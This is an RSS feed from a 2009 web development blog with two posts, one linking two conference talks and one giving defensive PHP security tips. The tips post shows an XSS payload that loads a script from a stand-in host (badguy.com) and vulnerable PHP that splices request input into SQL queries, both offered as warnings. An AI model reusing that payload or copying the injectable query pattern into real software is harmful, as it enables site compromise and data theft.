<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>alecs &#187; hacking</title>
	<atom:link href="http://www.ylipsis.com/blog/tag/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ylipsis.com/blog</link>
	<description>web development, SEO, technology</description>
	<lastBuildDate>Sat, 15 May 2010 11:51:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>2 great talks</title>
		<link>http://www.ylipsis.com/blog/2009/03/2-great-talks/</link>
		<comments>http://www.ylipsis.com/blog/2009/03/2-great-talks/#comments</comments>
		<pubDate>Sat, 14 Mar 2009 13:00:26 +0000</pubDate>
		<dc:creator>alecs</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[tech]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.ylipsis.com/blog/?p=218</guid>
		<description><![CDATA[Check the following youtube videos: Get Rich or Die Trying &#8211; Making Money on the Web the black hat way via hackersblog Google I/O &#8217;08 Keynote by Marissa Mayer via digg They are both pretty long (1 hour each) so be prepared with some pepsi and popcorn :)]]></description>
			<content:encoded><![CDATA[<p>Check the following youtube videos:</p>
<p><a href="http://www.youtube.com/watch?v=SIMF8bp5-qg" target="_blank">Get Rich or Die Trying &#8211; Making Money on the Web the black hat way</a></p>
<ul>
<li>via <a href="http://www.hackersblog.org/2009/03/12/get-rich-or-die-trying-blackhat-usa-2008/" target="_blank">hackersblog</a></li>
</ul>
<p><a href="http://www.youtube.com/watch?v=6x0cAzQ7PVs" target="_blank">Google I/O &#8217;08 Keynote by Marissa Mayer</a></p>
<ul>
<li>via <a href="http://digg.com/programming/Single_Google_Query_uses_1000_Machines_in_0_2_seconds" target="_blank">digg</a></li>
</ul>
<p>They are both pretty long (1 hour each) so be prepared with some pepsi and popcorn :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ylipsis.com/blog/2009/03/2-great-talks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web development security tips (PHP)</title>
		<link>http://www.ylipsis.com/blog/2009/02/web-development-security-tips-php/</link>
		<comments>http://www.ylipsis.com/blog/2009/02/web-development-security-tips-php/#comments</comments>
		<pubDate>Mon, 02 Feb 2009 17:17:37 +0000</pubDate>
		<dc:creator>alecs</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.ylipsis.com/blog/?p=167</guid>
		<description><![CDATA[I&#8217;ve seen a lot of hacked websites lately (most because of SQL Injection). Almost all the security problems occur because us web developers assume that the users will act naturally and because we&#8217;re lazy to keep testing all the input data or wonder what if?. This is not a how to hack article, but it [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://flickr.com/photos/amagill/235453953/"><img class="alignright" title="lock" src="http://farm1.static.flickr.com/84/235453953_b565f23939_m.jpg" alt="" width="191" height="240" /></a>I&#8217;ve seen a lot of hacked websites lately (most because of SQL Injection). Almost all the security problems occur because us web developers assume that the users will act naturally and because we&#8217;re lazy to keep testing all the input data or wonder <strong>what if?</strong>. This is not a how to hack article, but it should give you, the web developer, some basic ideas to develop a more secure website.</p>
<h2>First line of defense</h2>
<p><strong>Cross-site scripting (XSS)</strong></p>
<p>Do you have an input somewhere on your website? Have you tested what happens when you type in html tags? What about HTML tags with JavaScript actions?</p>
<p>My best solution is a classic <a href="http://www.php.net/manual/en/function.htmlspecialchars.php" target="_blank">htmlspecialchars()</a> on the whole user input when displaying it on a web page. Of course, If you want some extra styles for the text you can always use <a href="http://en.wikipedia.org/wiki/BBCode" target="_blank">BBCode</a>.</p>
<p>Be careful when trying to manually strip HTML tags form strings. You may find out that many browsers tend to correct bad formatted tags and interpret them. Here&#8217;s an example that will be interpreted even though it&#8217;s not XML compliant:</p>
<pre>&lt;script src='http://www.badguy.com/badscript.js' &lt;/script</pre>
<p><strong>SQL Injection</strong></p>
<p>On a database driven website, you will almost certainly save data provided by your users in the database. This means that you will perform a query using unknown strings. Let&#8217;s have a look over a simple example. The user typed in the following string in a comment:</p>
<pre>I don't like this article.</pre>
<p>On the next page, you have the following code:</p>
<pre>mysql_query("INSERT INTO comments(`content`) VALUES('".$_POST['comment']."')");</pre>
<p>The SQL server will be left to execute the next query.</p>
<pre>INSERT INTO comments(`content`) VALUES('I don't like this article.')</pre>
<p>This will obviously result in a SQL error because of the apostrophe from<strong> don&#8217;t</strong>. This isn&#8217;t such a big deal but then again, the user didn&#8217;t mean to do any harm. You may argue that PHP has the <a href="http://www.php.net/manual/en/security.magicquotes.php" target="_blank">magic quote</a> but <a href="http://en.wikipedia.org/wiki/Magic_quotes#Criticism" target="_blank">they&#8217;re not so effective</a>.</p>
<p>A more frequent SQL injection method is through the GET parameters. Yes, you <strong>must make sure</strong> that$_ GET['id'] which will be used in &#8220;SELECT * FROM `articles` WHERE id=&#8217;&#8221;.$_GET['id'].&#8221;&#8216;&#8221; is numeric.</p>
<p><strong>Don&#8217;t assume anything</strong></p>
<p>Just because there is no outside link to some specific administration page doesn&#8217;t mean that you shouldn&#8217;t test the user&#8217;s credentials.</p>
<p>Watch for scripts called with AJAX. Each one is called using a different HTTP request so you need to test the user in each of those.</p>
<h2>Second line of defense</h2>
<p>It seems that some people were stubborn and ended up with a little more access to your website than they should have. What can you do now to minimize their mess?</p>
<p><strong>Encript user passwords</strong></p>
<p>I don&#8217;t know why some  still keep their all the users&#8217; passwords in plain text. This is also a matter of privacy. You wouldn&#8217;t want the webmaster to know everybody&#8217;s password, would you?</p>
<p><strong>Assign read-only privileges to the database user</strong></p>
<p>Most web applications will only use basic <a href="http://en.wikipedia.org/wiki/Create,_read,_update_and_delete" target="_blank">CRUD</a> functions. So why give the possibility to ALTER TABLE, DROP DATABASE, etc?</p>
<p><strong>Setup an automated database backup script</strong></p>
<p>Make sure the database is backed up regularly. In most cases it is more important than the script files which normally have an off site backup on your HDD.</p>
<p>Here&#8217;s a shell command which can easily be inserted into a cron job (should be set to run daily):</p>
<pre>date=`date -I` ; mysqldump -h localhost -u db_user -ppassword database_name | gzip &gt; /home/your_user/mysql_backup/backup_$date.gz</pre>
<p>And make sure that the folder where you store your backup<strong> isn&#8217;t public</strong>!</p>
<p>These are the only the first things that came in mind right now. I don&#8217;t want to turn this article into a book so I will end now.</p>
<p>I you have something to add just post a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ylipsis.com/blog/2009/02/web-development-security-tips-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
